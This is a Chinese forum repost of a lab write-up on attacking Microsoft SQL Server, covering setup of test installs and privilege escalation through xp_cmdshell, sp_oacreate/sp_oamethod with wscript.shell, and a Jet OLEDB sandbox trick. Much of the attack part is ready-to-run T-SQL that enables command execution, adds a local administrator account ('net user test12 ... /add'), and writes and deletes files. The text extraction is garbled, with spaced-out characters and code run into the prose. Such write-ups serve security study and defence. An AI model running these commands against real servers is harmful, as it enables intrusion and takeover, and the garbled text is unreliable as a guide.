搜索

[16997] 2021-07-07_数据库安全之MSSQL渗透

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-07-07_数据库安全之MSSQL渗透 数 据 库 安 全 之 M S S Q L 渗 透 K r 1 p t 0   F r e e B u f   2 0 2 1 - 0 7 - 0 7 本 篇 文 章 是 M S S Q L 数 据 库 漏 洞 提 权 复 现 记 录 ， 记 录 了 实 际 中 常 见 的 M S S Q L 数 据 库 漏 洞 并 如 何 利 用 ， 对 漏 洞 底 层 的 原 理 简 单 分 析 ， 主 要 分 为 五 个 部 分 ： M S S Q L 简 介 、 M S S Q L 各 版 本 安 装 、 M S S Q L 基 本 操 作 、 M S S Q L 漏 洞 复 现 提 权 和 自 建 内 网 环 境 实 战 。 本 篇 文 章 由 浅 入 深 地 介 绍 了 系 统 存 储 过 程 控 制 不 当 导 致 提 权 如 s p _ o a c r e a t e 和 s p _ o a m e t h o d 、 扩 展 存 储 过 程 使 用 不 当 提 权 如 x p _ c m d s h e l l 和 x p _ r e g w r i t e 、 沙 盒 提 权 及 映 像 劫 持 。 在 学 习 M S S Q L 过 程 中 也 阅 读 了 几 十 篇 中 英 文 M S S Q L 相 关 技 术 文 章 ， 最 终 按 照 作 者 我 的 思 路 进 行 总 结 ， 相 关 参 考 文 章 也 在 文 中 有 列 出 。 此 外 ， 文 中 可 能 会 出 现 部 分 错 误 ， 望 读 者 指 出 ， 谢 谢 。 接 着 ， 开 始 我 们 的 M S S Q L 数 据 库 渗 透 学 习 ！ ！ 一 、 一 、 M S S Q L 简 介 简 介 ， 是 微 软 开 发 的 关 系 型 数 据 库 管 理 系 统 ， 是 一 个 较 大 型 的 数 据 库 ， 提 供 数 据 库 的 从 服 务 器 到 终 端 的 完 整 的 解 决 方 案 ， 数 据 库 管 理 系 统 ， 是 一 个 用 于 建 立 、 使 用 和 维 护 数 据 库 的 集 成 开 发 环 境 。   端 口 号 ： 端 口 号 ： 1 4 3 3 S A 用 户 用 户 在 搭 建 时 ， 选 择 使 用 身 份 验 证 会 创 建 S A 账 户 并 设 置 密 码 ， 表 示 系 统 管 理 员 ， 在 之 前 的 S A 用 户 都 是 系 统 最 高 权 限 用 户 ， 但 在 2 0 1 9 版 本 时 为 普 通 数 据 库 用 户 ， 是 一 个 低 权 用 户 。 M S S Q L 权 限 级 别 权 限 级 别 s a 权 限 ： 数 据 库 操 作 ， 文 件 管 理 ， 命 令 执 行 ， 注 册 表 读 取 等 价 于 s y s t e m ， S Q L S e r v e r 数 据 库 的 最 高 权 限 d b 权 限 ： 文 件 管 理 ， 数 据 库 操 作 等 价 于   u s e r s - a d m i n i s t r a t o r s p u b l i c 权 限 ： 数 据 库 操 作 等 价 于   g u e s t - u s e r s 存 储 过 程 存 储 过 程 M S S Q L 的 存 储 过 程 是 一 个 可 编 程 的 函 数 ， 它 在 数 据 库 中 创 建 并 保 存 ， 是 使 用 T _ S Q L 编 写 的 代 码 段 ， 目 的 在 于 能 够 方 便 的 从 系 统 表 中 查 询 信 息 。 数 据 库 中 的 存 储 过 程 可 以 看 做 是 对 编 程 中 面 向 对 象 方 法 的 模 拟 。 它 允 许 控 制 数 据 的 访 问 方 式 ， 使 用 命 令 执 行 存 储 过 程 。 （ 可 以 将 存 储 过 程 理 解 为 函 数 调 用 的 过 程 ） 简 单 来 说 ， 存 储 过 程 就 是 一 条 或 者 多 条 s q l 语 句 的 集 合 ， 可 视 为 批 处 理 文 件 存 储 过 程 可 分 为 三 类 ：   系 统 存 储 过 程 ： 系 统 存 储 过 程 ： 主 要 存 储 在 m a s t e r 数 据 库 中 ， 以 ” s p _ “ 为 前 缀 ， 在 任 何 数 据 库 中 都 可 以 调 用 ， 在 调 用 的 时 候 不 必 在 存 储 过 程 前 加 上 数 据 库 名   扩 展 存 储 过 程 ： 扩 展 存 储 过 程 ： 是 对 动 态 链 接 库 ( D L L ) 函 数 的 调 用 ， 主 要 是 用 于 客 户 端 与 服 务 器 端 或 客 户 端 之 间 进 行 通 信 的 ， 以 “ x p * * _ “ 为 前 缀 ， 使 用 方 法 与 系 统 存 储 过 程 类 似 为 前 缀 ， 使 用 方 法 与 系 统 存 储 过 程 类 似   用 户 定 义 的 存 储 过 程 ： * * 是 S Q L S e r v e r 的 使 用 者 编 写 的 存 储 过 程 系 统 数 据 库 系 统 数 据 库 系 统 数 据 库 默 认 创 建 时 就 会 存 在 ， 有 以 下 4 种 数 据 数 据 库 名 库 名 含 义 含 义 m a s t e r m a s t e r 数 据 库 控 制 S Q L s e r v e r 数 据 库 所 有 方 面 。 这 个 数 据 库 中 包 括 了 所 有 的 配 置 信 息 、 用 户 登 录 信 息 、 当 前 正 在 服 务 器 中 运 行 的 过 程 的 信 息 等 。 m o d e l m o d e l 数 据 库 是 建 立 所 有 用 户 数 据 库 时 的 模 版 。 新 建 数 据 库 时 ， S Q L s e r v e r 会 把 m o d e l 数 据 库 中 的 所 有 对 象 建 立 一 份 拷 贝 并 移 到 新 数 据 库 中 。 在 模 版 对 象 被 拷 贝 到 新 的 用 户 数 据 库 中 之 后 ， 该 数 据 库 的 所 有 多 余 空 间 都 将 被 空 页 填 满 。 m s d b m s d b 数 据 库 是 S Q L s e r v e r 数 据 库 中 的 特 例 ， 若 想 查 看 此 数 据 库 的 实 际 定 义 ， 会 发 现 它 其 实 是 一 个 用 户 数 据 库 。 所 有 的 任 务 调 度 、 报 警 、 操 作 员 都 存 储 在 m s d b 数 据 库 中 。 该 库 的 另 一 个 功 能 是 用 来 存 储 所 有 备 份 历 史 。 S Q L s e r v e r   a g e n t 将 会 使 用 这 个 库 。 t e m p d b 据 库 是 一 个 非 常 特 殊 的 数 据 库 ， 供 所 有 来 访 问 你 的 S Q L   S e r v e r 的 用 户 使 用 。 这 个 库 用 来 保 存 所 有 的 临 时 表 、 存 储 过 程 和 其 他 S Q L   S e r v e r 建 立 的 临 时 用 的 东 西 。 例 如 ， 排 序 时 要 用 到 t e m p d b 数 据 库 。 数 据 被 放 进 t e m p d b 数 据 库 ， 排 完 序 后 再 把 结 果 返 回 给 用 户 。 每 次 S Q L   S e r v e r 重 新 启 动 ， 它 都 会 清 空 t e m p d b 数 据 库 并 重 建 。 永 远 不 要 在 t e m p d b 数 据 库 建 立 需 要 永 久 保 存 的 表 。 M S S Q L 注 入 注 入 M S S Q L 注 入 与 普 通 的 M Y S Q L 注 入 类 似 ， 但 在 数 据 结 构 特 定 函 数 名 称 上 有 些 差 异 。 而 使 用 经 过 语 法 扩 展 的 T - S Q L 语 句 ， 在 实 现 更 为 复 杂 的 业 务 的 同 时 ， 也 带 来 了 安 全 上 的 危 险 。 因 此 M S S Q L 在 后 续 提 权 部 分 ， 与 M Y S Q L 有 着 较 大 的 差 异 。 由 于 该 数 据 库 与 W i n d o w s 平 台 的 高 契 合 度 ， 使 其 可 以 使 用 W i n d o w s 身 份 验 证 （ 或 S A 管 理 员 账 号 ） ， 这 就 导 致 其 运 行 权 限 较 高 。 因 此 ， 若 后 续 权 限 没 有 限 制 准 确 ， W E B 代 码 又 存 在 S Q L 注 入 时 ， 就 会 给 整 个 服 务 器 的 安 全 带 来 严 重 威 胁 ， 其 后 果 一 般 比 M y s q l 被 攻 破 要 严 重 。 二 、 软 件 安 装 及 环 境 搭 建 二 、 软 件 安 装 及 环 境 搭 建 1 、 、 M S S Q L   2 0 1 9 安 装 安 装 W i n 2 0 1 6   +   M S S Q L 2 0 1 9 下 载 地 址 ： h t t p s : / / w w w . m i c r o s o f t . c o m / z h - c n / s q l - s e r v e r / s q l - s e r v e r - d o w n l o a d s 选 择 选 择 S Q L   S e r v e r   2 0 1 9   E x p r e s s   E d i t i o n 版 本 版 本 安 装 过 程 百 度 即 可 ， 这 里 记 录 其 中 较 关 键 的 地 方 ： M S S Q L ( M i c r o S o f t   S Q L   S e r v e r 数 据 库 ) D B M S S S M S ( S Q L   S e r v e r   M a n a g e r m e n t   S t u d i o ) S Q L   S e r v e r S A ( S y s t e m   A d m i n i s t r a t o r ) S Q L S e r v e r 2 0 1 9 S Y S T E M m s s q l s e r v e r e x e c u t e 安 装 类 型 选 择 - 基 本 ( B )
安 装 安 装 S Q L   S e r v e r   M a n a g e r m e n t   S t u d i o | S S M S 安 装 完 S Q L   S e r v e r   E x p r e s s 版 本 后 ， 可 以 直 接 选 择 安 装 2 、 、 M S S Q L   2 0 0 8   x 6 4   安 装 安 装 W i n 2 0 1 6   +   M S S Q L 2 0 0 8 下 载 地 址 ： h t t p s : / / w w w . m i c r o s o f t . c o m / z h - C N / d o w n l o a d / d e t a i l s . a s p x ? i d = 3 0 4 3 8 下 载 如 图 两 个 文 件 先 安 装 先 安 装 S Q L E X P R _ x 6 4 _ C H S . e x e 基 本 安 装 过 程 类 似 2 0 1 9 的 ， 记 录 下 重 要 部 分 再 安 装 再 安 装 S Q L M a n a g e m e n t S t u d i o _ x 6 4 _ C H S . e x e 提 示 没 有 安 装 ， 按 下 文 步 骤 即 可   h t t p s : / / w w w . c n b l o g s . c o m / l a b s t e r / p / 1 4 8 6 3 5 1 6 . h t m l 之 后 选 择 全 新 安 装 ， 默 认 下 一 步 即 可 3 、 、 M S S Q L   2 0 0 8   x 3 2   安 装 安 装 W i n 2 0 0 3   +   M S S Q L 2 0 0 8 下 载 地 址 ： h t t p s : / / w w w . m i c r o s o f t . c o m / z h - C N / d o w n l o a d / d e t a i l s . a s p x ? i d = 3 0 4 3 8 这 里 的 3 2 位 系 统 环 境 用 于 复 现 第 四 部 分 的 沙 盒 漏 洞 提 权 ， 相 较 于 前 两 个 数 据 库 的 安 装 ， 这 里 遇 到 了 不 少 坑 ， 较 详 细 介 绍 下 。 使 用 系 统 作 为 复 现 操 作 系 统 ， 由 于 年 代 久 远 加 上 0 3 系 统 装 0 8 软 件 ， 记 录 下 几 个 坑 点 。 安 装 类 型 选 择 - 基 本 ( B ) 实 例 配 置 选 择 - 默 认 实 例 服 务 器 配 置 选 择 - 混 合 模 式 ( S Q L   S e r v e r 身 份 验 证 和 W i n d o w s   身 份 验 证 ) ( M ) 配 置 S Q L   S e r v e r 系 统 管 理 员 S A 的 密 码 （ 我 设 置 密 码 为 1 2 3 . c o m ） S S M S 在 点 击 " 安 装 S S M S " 弹 出 网 页 内 选 择 下 载 S S M S 点 击 该 程 序 ， 默 认 安 装 即 可 选 择 - 全 新 安 装 实 例 配 置 选 择 - 默 认 实 例 服 务 器 配 置 选 择 - 混 合 模 式 ( S Q L   S e r v e r 身 份 验 证 和 W i n d o w s   身 份 验 证 ) ( M ) 配 置 S Q L   S e r v e r 系 统 管 理 员 S A 的 密 码 （ 我 设 置 密 码 为 1 2 3 . c o m ） . N E T 3 . 5 W i n 2 0 0 3   x 3 2
1 ） 启 动 提 示 缺 失 程 序 2 ） 安 装 慢 慢 等 待 5 分 钟 3 ） 安 装 默 认 下 一 步 4 ） 安 装 其 余 安 装 过 程 类 似 ， 就 不 详 细 介 绍 了 ， 附 上 安 装 工 具 包 ： 三 、 三 、 M S S Q L 基 本 操 作 基 本 操 作 1 、 、 S S M S 连 接 数 据 库 连 接 数 据 库 S Q L E X P R _ x 8 6 _ C H S . e x e . N E T   3 . 5 W i n d o w s _ I n s t a l l e r 4 . 5 x 8 6 . e x e p o w e r s h e l l 2 0 0 3 x 8 6 - C H S . e x e h t t p s : / / p a n . b a i d u . c o m / s / 1 5 C n g C B W i g n 9 f Y 1 I r S t 4 _ j g 密 码 ： f m 4 v
连 接 本 地 数 据 库 ， 在 之 前 的 设 置 中 ， 我 们 设 置 了 混 杂 模 式 ， 即 可 以 使 用 S Q L   S e r v e r   身 份 验 证 或   W i n d o w s   身 份 验 证 登 陆 进 数 据 库 ， 点 击 启 动 服 务 器 名 称 可 以 填 写 主 机 名 或 本 地 i p 地 址   登 录 名 和 密 码 为 注 意 点 ： 可 以 一 开 始 会 出 现 使 用 主 机 名 可 以 登 入 上 ， 但 是 使 用 i p 登 入 不 上 的 情 况 可 以 参 考 如 下 文 章 解 决   h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 3 0 7 4 0 2 9 5 / a r t i c l e / d e t a i l s / 9 5 5 3 5 9 2 7 M S S Q L 设 置 允 许 通 过 设 置 允 许 通 过 i p 登 陆 登 陆 （ 以 2 0 1 9 版 本 为 例 ， 其 余 版 本 类 似 ） 1 ） 打 开 配 置 管 理 器 ） 打 开 配 置 管 理 器 2 ） 协 议 ） 协 议 T C P / I P 设 置 为 开 启 设 置 为 开 启 在 下 的 里 启 用 3 ） 开 启 远 程 登 陆 ） 开 启 远 程 登 陆 先 用 主 机 名 进 行 登 陆 右 键 ， 打 开 数 据 库 的 属 性 S S M S s a : 1 2 3 . c o m S Q L   S e r v e r   网 络 配 置 M S S Q L S E R V E R 的 协 议 T C P / I P 协 议
在 处 勾 选 4 ） 关 闭 防 火 墙 ） 关 闭 防 火 墙 这 里 用 于 渗 透 测 试 ， 直 接 全 部 关 了 5 ） 重 启 ） 重 启 S S M S 服 务 服 务 打 开 管 理 员 模 式 下 的 C M D 之 后 就 可 以 使 用 I P 进 行 登 陆 连 接 允 许 远 程 连 接 到 此 服 务 器 n e t   s t o p   m s s q l s e r v e r n e t   s t a r t   m s s q l s e r v e r
2 、 常 见 语 句 、 常 见 语 句 右 键 系 统 数 据 库 ， 新 建 查 询 查 看 数 据 库 版 本 获 取 M S S Q L 中 的 所 有 数 据 库 名 查 询 所 有 数 据 库 中 的 表 名 其 余 见 M S S Q L 基 础 学 习 部 分 ， 自 行 百 度 四 、 四 、 M S S Q L 漏 洞 复 现 漏 洞 复 现 1 、 使 用 、 使 用 x p _ c m d s h e l l 进 行 提 权 进 行 提 权 x p _ c m d s h e l l 默 认 在 m s s q l 2 0 0 0 中 是 开 启 的 ， 在 m s s q l 2 0 0 5 之 后 默 认 禁 止 ， 但 未 删 除 0 x 0 1   x p _ c m d s h e l l 简 介 是 中 的 一 个 组 件 ， 将 命 令 字 符 串 作 为 操 作 系 统 命 令   s h e l l   执 行 ， 并 以 文 本 行 的 形 式 返 回 所 有 输 出 。 通 常 在 拿 到 s a 口 令 之 后 ， 可 以 通 过 来 进 行 提 权 影 响 范 围 ： 影 响 范 围 ： 只 要 该 数 据 库 存 在 该 组 件 ， 就 可 以 利 用 0 x 0 2   x p _ c m d s h e l l 使 用 1 ） 查 看 ） 查 看 x p _ c m d s h e l l 状 态 状 态 返 回 1 表 示 组 件 启 用 启 用 也 可 以 手 动 查 看 ， 右 键 数 据 库 ， 打 开 s e l e c t   @ @ V E R S I O N S E L E C T   n a m e   F R O M   M A S t e r . . S y s D a t a b A S e s   O R D E R   B Y   n a m e S E L E C T   S y s O b j e c t s . n a m e   A S   T a b l e n a m e   F R O M   s y s o b j e c t s   W H E R E   x t y p e   =   ' U '   a n d   s y s s t a t < 2 0 0 e x e c   x p _ d i r t r e e   ' c : '                 #   列 出 所 有 c : 文 件 、 目 录 、 子 目 录 e x e c   x p _ d i r t r e e   ' c : ' , 1             #   只 列 c : 目 录 e x e c   x p _ d i r t r e e   ' c : ' , 1 , 1         #   列 c : 目 录 、 文 件 e x e c   x p _ s u b d i r s   ' C : ' ;               #   只 列 c : 目 录 s e l e c t   i s _ s r v r o l e m e m b e r ( ' s y s a d m i n ' )   #   判 断 是 否 是 S A 权 限 s e l e c t   i s _ m e m b e r ( ' d b _ o w n e r ' )                 #   判 断 是 否 是 d b _ o w n e r 权 限 s e l e c t   i s _ s r v r o l e m e m b e r ( ' p u b l i c ' )       #   判 断 是 否 是 p u b l i c 权 限 E X E C   s p _ c o n f i g u r e   ' O l e   A u t o m a t i o n   P r o c e d u r e s '       # 查 看 O L E   A u t o m a t i o n   P r o c e d u r e s 的 当 前 设 置 x p ` ` _ c m d s h e l l S q l   S e r v e r x p ` ` _ c m d s h e l l s e l e c t   c o u n t ( * )   f r o m   m a s t e r . d b o . s y s o b j e c t s   w h e r e   x t y p e = ' x '   a n d   n a m e = ' x p _ c m d s h e l l ' x p ` ` _ c m d s h e l l F a c e t s
在 方 面 中 选 择 ， 在 方 面 属 性 中 查 看 属 性 为 2 ） 开 启 ） 开 启 x p _ c m d s h e l l 组 件 组 件 同 样 ， 关 闭 该 组 件 的 命 令 为 3 ） 利 用 ） 利 用 x p _ c m d s h e l l 执 行 命 令 执 行 命 令 执 行 系 统 命 令 执 行 系 统 命 令 以 下 几 条 命 令 格 式 都 可 以 用 于 执 行 系 统 命 令 外 应 用 配 置 器 X P ` ` C m d S h e l l E n a b l e d T r u e E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 R E C O N F I G U R E E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' , 1 R E C O N F I G U R E E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 R E C O N F I G U R E E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' , 0 R E C O N F I G U R E e x e c   x p _ c m d s h e l l   " w h o a m i " m a s t e r . . x p _ c m d s h e l l   ' w h o a m i '         ( 2 0 0 8 版 上 好 像 用 不 了 ) E X E C   m a s t e r . . x p _ c m d s h e l l   " w h o a m i " E X E C   m a s t e r . d b o . x p _ c m d s h e l l   " i p c o n f i g "
注 意 点 ： 在 M S S Q L 2 0 1 9 版 本 中 ， 会 使 用 m s s q l s e r v e r 用 户 而 非 s y s t e m 用 户 0 x 0 3   模 拟 实 战 ： 远 程 命 令 执 行 创 建 用 户 模 拟 实 战 ： 远 程 命 令 执 行 创 建 用 户 这 里 通 过 演 示 远 程 命 令 执 行 来 模 拟 实 战 情 况 ， 远 程 M S S Q L 数 据 库 版 本 为 2 0 0 8 版   环 境 信 息 ： 假 设 已 经 爆 破 得 到 了 s a 密 码 创 建 用 户 联 合 创 建 用 户 联 合 w m i e x e c 拿 到 拿 到 s h e l l 可 以 看 到 用 户 添 加 成 功 后 续 可 以 登 陆 用 户 上 传 木 马 ， 上 线 C S ， 详 情 见 本 文 第 五 部 分 ： 二 级 内 网 第 五 部 分 ： 二 级 内 网 M S S Q L 渗 透 渗 透 | 上 线 上 线 C S 0 x 0 4   保 护 措 施 保 护 措 施 将 该 存 储 过 程 删 除 即 可 被 删 除 后 ， 重 新 添 加 存 储 过 程 语 句 若 想 彻 底 删 除 扩 展 存 储 过 程 ， 建 议 在 C 盘 里 直 接 搜 索 ， 然 后 删 除 。 2 、 使 用 、 使 用 s p _ o a c r e a t e 进 行 提 权 进 行 提 权 | 无 回 显 无 回 显 远 程 M S S Q L 数 据 库 的 I P ： 1 9 2 . 1 6 8 . 1 1 2 . 1 6 6 e x e c   m a s t e r . . x p _ c m d s h e l l   " n e t   u s e r   t e s t 1 2   1 2 3 . c o m   / a d d " e x e c   m a s t e r . . x p _ c m d s h e l l   " n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t 1 2   / a d d " e x e c   m a s t e r . . x p _ c m d s h e l l   " n e t   u s e r   t e s t 1 2 " x p _ c m d s h e l l e x e c   s p _ d r o p e x t e n d e d p r o c   ' x p _ c m d s h e l l ' x p ` ` _ c m d s h e l l E X E C   s p _ a d d e x t e n d e d p r o c   x p _ c m d s h e l l , @ d l l n a m e   = ' x p l o g 7 0 . d l l ' d e c l a r e   @ o   i n t ; s p _ a d d e x t e n d e d p r o c   ' x p _ c m d s h e l l ' ,   ' x p s q l 7 0 . d l l ' ; x p _ c m d s h e l l x p l o g 7 0 . d l l x p _ c m d s h e l l
0 x 0 1   s p _ o a c r e a t e 简 介 简 介 调 用 w s c r i p t . s h e l 执 行 命 令 系 统 存 储 过 程 可 以 用 于 对 文 件 删 除 、 复 制 、 移 动 等 操 作 ， 还 可 以 配 合 系 统 存 储 过 程 调 用 系 统 来 执 行 系 统 命 令 。 和 两 个 过 程 分 别 用 来 创 建 和 执 行 脚 本 语 言 。 系 统 管 理 员 使 用 启 用 和 系 统 存 储 过 程 对 O L E 自 动 化 过 程 的 访 问 （ O L E   A u t o m a t i o n   P r o c e d u r e s ） 在 效 果 方 面 ， 两 个 过 程 和 过 程 功 能 类 似 ， 因 此 可 以 替 换 使 用 ！ 利 用 条 件 ： 利 用 条 件 ： 1 . 已 获 取 到 s q l s e r v e r   s y s a d m i n 权 限 用 户 的 账 号 与 密 码 且 未 降 权 （ 如 2 0 1 9 版 本 s a 用 户 权 限 为 m s s q l s e r v e r ， 已 降 权 ） 2 . s q l s e r v e r 允 许 远 程 连 接 3 . O L E   A u t o m a t i o n   P r o c e d u r e s 选 项 开 启 0 x 0 2   s p _ o a c r e a t e 使 用 使 用 1 ） 查 看 ） 查 看 s p _ o a c r e a t e 状 态 状 态 返 回 1 表 示 存 在 系 统 存 储 过 程 2 ） 启 用 ） 启 用 O L E   A u t o m a t i o n   P r o c e d u r e s 选 项 选 项 当 启 用   O L E   A u t o m a t i o n   P r o c e d u r e s   时 ， 对   s p _ O A C r e a t e   的 调 用 将 会 启 动   O L E   共 享 执 行 环 境 。 类 似 的 ， 关 闭 组 件 命 令 3 ） 利 用 ） 利 用 s p _ o a c r e a t e 和 和 s p _ o a m e t h o d 执 行 命 令 执 行 命 令 写 入 文 件 由 于 这 里 是 无 回 显 的 命 令 执 行 ， 到 另 一 台 主 机 上 查 看 效 果 ， 成 功 写 入 。 s p _ o a c r e a t e s p _ o a m e t h o d w s c r i p t . s h e l l s p _ o a c r e a t e s p _ o a m e t h o d s p _ c o n f i g u r e s p _ o a c r e a t e s p _ o a m e t h o d s p _ o a c r e a t e 、 s p _ o a m e t h o d x p _ c m d s h e l l s e l e c t   c o u n t ( * )   f r o m   m a s t e r . d b o . s y s o b j e c t s   w h e r e   x t y p e = ' x '   a n d   n a m e = ' S P _ O A C R E A T E ' ; s p _ o a c r e a t e e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' O l e   A u t o m a t i o n   P r o c e d u r e s ' , 1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' O l e   A u t o m a t i o n   P r o c e d u r e s ' , 0 ; r e c o n f i g u r e ; d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , ' r u n ' , n u l l , ' c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   w h o a m i   > c : s q l t e s t . t x t ' ; 回 显 0 表 示 成 功
删 除 文 件 可 以 看 到 文 件 已 删 除 同 样 ， 也 可 以 使 用 4 . 1 中 的 创 建 用 户 进 行 登 陆 拿 s h e l l 。 3 、 利 用 、 利 用 S Q L   S e r v e r   沙 盒 提 权 沙 盒 提 权 0 x 0 1   S Q L   S e r v e r   沙 盒 简 介 沙 盒 简 介 沙 盒 模 式 是 一 种 安 全 功 能 ， 用 于 限 制 数 据 库 只 对 控 件 和 字 段 属 性 中 的 安 全 且 不 含 恶 意 代 码 的 表 达 式 求 值 。 如 果 表 达 式 不 使 用 可 能 以 某 种 方 式 损 坏 数 据 的 函 数 或 属 性 （ 如 K i l l   和   S h e l l   之 类 的 函 数 ） ， 则 可 认 为 它 是 安 全 的 。 当 数 据 库 以 沙 盒 模 式 运 行 时 ， 调 用 这 些 函 数 的 表 达 式 将 会 产 生 错 误 消 息 。 沙 盒 提 权 的 原 理 就 是 （ 修 改 注 册 表 ） 执 行 系 统 命 令 。 数 据 库 通 过 查 询 方 式 调 用 文 件 ， 执 行 参 数 ， 绕 过 系 统 本 身 自 己 的 执 行 命 令 ， 实 现 文 件 执 行 命 令 。 利 用 前 提 ： 利 用 前 提 ： 1 . 需 要 一 般 在 3 2 位 系 统 才 可 以 ， 6 4 位 机 需 要 1 2 . 0 ， 较 复 杂 和 两 个 文 件   在 上 默 认 存 在 ， 也 可 自 行 准 备 0 x 0 2   沙 盒 提 权 沙 盒 提 权 复 现 环 境 1 ） 测 试 ） 测 试   j e t . o l e d b   能 否 使 用 能 否 使 用 d e c l a r e   @ r e s u l t   i n t d e c l a r e   @ f s o _ t o k e n   i n t e x e c   s p _ o a c r e a t e   ' s c r i p t i n g . f i l e s y s t e m o b j e c t ' ,   @ f s o _ t o k e n   o u t e x e c   s p _ o a m e t h o d   @ f s o _ t o k e n , ' d e l e t e f i l e ' , n u l l , ' c : s q l t e s t . t x t ' e x e c   s p _ o a d e s t r o y   @ f s o _ t o k e n j e t . o l e d b m d b m d b M i c r o s o f t . J e t . O L E D B . 4 . 0 2 . d n a r y . m d b i a s . m d b w i n 2 0 0 3 S Q L   S e r v e r 2 0 0 8   ( W i n 2 0 0 3 - x 3 2 ) I P :   1 9 2 . 1 6 8 . 1 1 2 . 1 7 3 s e l e c t   *   f r o m   o p e n r o w s e t ( ' m i c r o s o f t . j e t . o l e d b . 4 . 0 ' , ' ; d a t a b a s e = c : w i n d o w s s y s t e m 3 2 i a s i a s . m d b ' , ' s e l e c t   s h e l l ( " c m d . e x e   / c   w h o a m i " ) ' )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理